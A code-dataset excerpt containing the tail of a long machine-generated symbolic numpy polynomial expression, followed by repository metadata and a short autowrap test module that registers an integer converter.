0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 898984.910836762*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 6320.98765432099*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 30441817.0865359*(8*q[3, 0] - 4*q[4, 0] - 4*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 53.3333333333333*q[3, 0] + 26.6666666666667*q[4, 0] + 26.6666666666667*q[5, 0]) + (-51312626661.0909*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**5 + 1623563577.94858*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 31963907.9408627*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 337119.341563786*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 1422.22222222222*q[0, 0]**2 + 1422.22222222222*q[0, 0]*q[1, 0] + 1422.22222222222*q[0, 0]*q[2, 0] - 1422.22222222222*q[1, 0]**2 + 1422.22222222222*q[1, 0]*q[2, 0] - 1422.22222222222*q[2, 0]**2 + 1)*(-51312626661.0909*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**5 + 1623563577.94858*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 31963907.9408627*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 337119.341563786*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 1422.22222222222*q[3, 0]**2 + 1422.22222222222*q[3, 0]*q[4, 0] + 1422.22222222222*q[3, 0]*q[5, 0] - 1422.22222222222*q[4, 0]**2 + 1422.22222222222*q[4, 0]*q[5, 0] - 1422.22222222222*q[5, 0]**2 + 1))*(60131984.3684659*xi**9*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**4 - 1522090.85432679*xi**7*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**3 + 22474.6227709191*xi**5*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**2 - 79.0123456790123*xi**3*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(2*q[6, 0]**2 - 2*q[6, 0]*q[7, 0] - 2*q[6, 0]*q[8, 0] + 2*q[7, 0]**2 - 2*q[7, 0]*q[8, 0] + 2*q[8, 0]**2) + (1/3)*xi*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)) + ((4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 26.6666666666667*numpy.sqrt(3)*(q[1, 0] - q[2, 0]))*(12828156665.2727*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])) + (-12828156665.2727*(2*q[3, 0] - q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 2004399.47894886*(2*q[3, 0] - q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 7990976.98521566*(2*q[3, 0] - q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 84279.8353909465*(2*q[3, 0] - q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 355.555555555555*(2*q[3, 0] - q[4, 0] - q[5, 0])**2 + 1)*(2405279374.73864*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 898984.910836762*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 6320.98765432099*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 30441817.0865359*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 53.3333333333333*q[0, 0] - 26.6666666666667*q[1, 0] - 26.6666666666667*q[2, 0]) + (2405279374.73864*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 898984.910836762*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 6320.98765432099*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 30441817.0865359*(8*q[3, 0] - 4*q[4, 0] - 4*q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 53.3333333333333*q[3, 0] - 26.6666666666667*q[4, 0] - 26.6666666666667*q[5, 0])*(-51312626661.0909*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**5 + 1623563577.94858*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 31963907.9408627*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 337119.341563786*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 1422.22222222222*q[0, 0]**2 + 1422.22222222222*q[0, 0]*q[1, 0] + 1422.22222222222*q[0, 0]*q[2, 0] - 1422.22222222222*q[1, 0]**2 + 1422.22222222222*q[1, 0]*q[2, 0] - 1422.22222222222*q[2, 0]**2 + 1))*(-160351958.315909*xi**10*(2*q[6, 0] - q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**4 + 5073636.18108931*xi**8*(2*q[6, 0] - q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**3 - 99887.2123151958*xi**6*(2*q[6, 0] - q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**2 + 1053.49794238683*xi**4*(2*q[6, 0] - q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2) - 4.44444444444444*xi**2*(2*q[6, 0] - q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)) + ((4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 26.6666666666667*numpy.sqrt(3)*(q[1, 0] - q[2, 0]))*(-38484469995.8182*(q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 1217672683.46143*(q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 23972930.955647*(q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 252839.506172839*(q[4, 0] - q[5, 0])**2*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 1066.66666666667*(q[4, 0] - q[5, 0])**2 + 1) + (4810558749.47727*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 121767268.346143*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 1797969.82167352*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 12641.975308642*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 26.6666666666667*numpy.sqrt(3)*(q[4, 0] - q[5, 0]))*(-51312626661.0909*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**5 + 1623563577.94858*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 31963907.9408627*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 337119.341563786*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 1422.22222222222*q[0, 0]**2 + 1422.22222222222*q[0, 0]*q[1, 0] + 1422.22222222222*q[0, 0]*q[2, 0] - 1422.22222222222*q[1, 0]**2 + 1422.22222222222*q[1, 0]*q[2, 0] - 1422.22222222222*q[2, 0]**2 + 1) + (12828156665.2727*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 405890894.487145*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 7990976.98521566*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 84279.8353909465*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 355.555555555555*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0]))*(2405279374.73864*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 898984.910836762*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 6320.98765432099*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 30441817.0865359*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 53.3333333333333*q[0, 0] - 26.6666666666667*q[1, 0] - 26.6666666666667*q[2, 0]))*(-160351958.315909*numpy.sqrt(3)*xi**10*(q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[6, 0] - q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)*(q[6, 0]**2 - q[6, 0]*q[7, 0] - q[6, 0]*q[8, 0] + q[7, 0]**2 - q[7, 0]*q[8, 0] + q[8, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[7, 0] - q[8, 0])*(q[6, 0] + q[7, 0] + q[8, 0] + 0.45)) + 60131984.3684659*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 1522090.85432679*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 22474.6227709191*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 79.0123456790123*(q[0, 0] + q[1, 0] + q[2, 0] + 0.45)*(2*q[0, 0]**2 - 2*q[0, 0]*q[1, 0] - 2*q[0, 0]*q[2, 0] + 2*q[1, 0]**2 - 2*q[1, 0]*q[2, 0] + 2*q[2, 0]**2) + (4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 26.6666666666667*numpy.sqrt(3)*(q[1, 0] - q[2, 0]))*(-160351958.315909*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 4.44444444444444*numpy.sqrt(3)*(q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*numpy.sqrt(3)*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)) + (-160351958.315909*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45))*(2405279374.73864*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 898984.910836762*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 6320.98765432099*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 30441817.0865359*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 53.3333333333333*q[0, 0] - 26.6666666666667*q[1, 0] - 26.6666666666667*q[2, 0]) + (60131984.3684659*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*q[3, 0] + (1/3)*q[4, 0] + (1/3)*q[5, 0] + 0.15)*(-51312626661.0909*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**5 + 1623563577.94858*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 31963907.9408627*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 337119.341563786*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 1422.22222222222*q[0, 0]**2 + 1422.22222222222*q[0, 0]*q[1, 0] + 1422.22222222222*q[0, 0]*q[2, 0] - 1422.22222222222*q[1, 0]**2 + 1422.22222222222*q[1, 0]*q[2, 0] - 1422.22222222222*q[2, 0]**2 + 1) + (1/3)*q[0, 0] + (1/3)*q[1, 0] + (1/3)*q[2, 0] + 0.15] ])

8,575.571429

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8,575.571429

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null

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14

941a171cda5c978afdbc1cfcc4cf862ee027a62c

196

py

Python

tests/test_files/converters/__init__.py

OpenMS/autowrap

050e63292b857a97b3cea7991d82bdedaaf7e4ee

[ "BSD-3-Clause" ]

2

2022-01-29T12:34:58.000Z

2022-02-02T09:42:30.000Z

tests/test_files/converters/__init__.py

OpenMS/autowrap

050e63292b857a97b3cea7991d82bdedaaf7e4ee

[ "BSD-3-Clause" ]

37

2022-01-05T17:06:14.000Z

2022-03-30T19:14:32.000Z

tests/test_files/converters/__init__.py

OpenMS/autowrap

050e63292b857a97b3cea7991d82bdedaaf7e4ee

[ "BSD-3-Clause" ]

5

2022-01-05T20:31:50.000Z

2022-03-29T12:22:12.000Z

from .IntHolderConverter import IntHolderConverter def register_converters(): from autowrap.ConversionProvider import special_converters special_converters.append(IntHolderConverter())

24.5

62

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17

196

9.470588

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null

0

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1

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1

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7

941d65f91756e438ba3d033d639ae9e738ca0e77

15,694

py

Python

qutip/tests/test_steadystate.py

quantshah/qutip

88919ce50880dadbc1a817a3e6059c82c23a83f9

[ "BSD-3-Clause" ]

1

2022-03-31T06:57:30.000Z

qutip/tests/test_steadystate.py

quantshah/qutip

88919ce50880dadbc1a817a3e6059c82c23a83f9

[ "BSD-3-Clause" ]

null

qutip/tests/test_steadystate.py

quantshah/qutip

88919ce50880dadbc1a817a3e6059c82c23a83f9

[ "BSD-3-Clause" ]

1

